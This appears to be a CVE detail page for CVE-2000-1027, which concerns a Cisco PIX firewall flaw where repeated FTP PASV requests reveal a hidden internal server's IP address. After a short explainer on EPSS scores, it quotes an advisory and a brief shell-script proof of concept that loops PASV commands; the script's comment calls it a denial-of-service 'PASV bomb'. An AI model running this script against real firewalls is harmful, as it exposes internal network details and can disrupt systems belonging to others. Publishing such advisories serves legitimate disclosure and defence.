CVE-2000-1027 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

source: https://www.securityfocus.com/bid/1877/info The Cisco PIX is a popular firewall network device. It is possible to configure the PIX so that it hides the IP address of internal ftp servers from clients connecting to it. By sending a number of requests to enter passive ftp mode (PASV) during an ftp session, the IP address will eventually be disclosed. It is not known what exactly causes this condition. This has been verified on versions 5.2(4) and 5.2(2) of the PIX firmware and probably affects other versions. # sent by: Fabio Pietrosanti (naif) <naif@inet.it> # try to dos pix using PASV bomb echo "USER ftptest99" sleep 2 echo PASS ftptest99 sleep 2 echo SYST while true do echo PASV sleep 1 echo PASV echo PASV sleep 1 echo PASV echo PASV sleep 1 echo PASV echo PASV sleep 1 done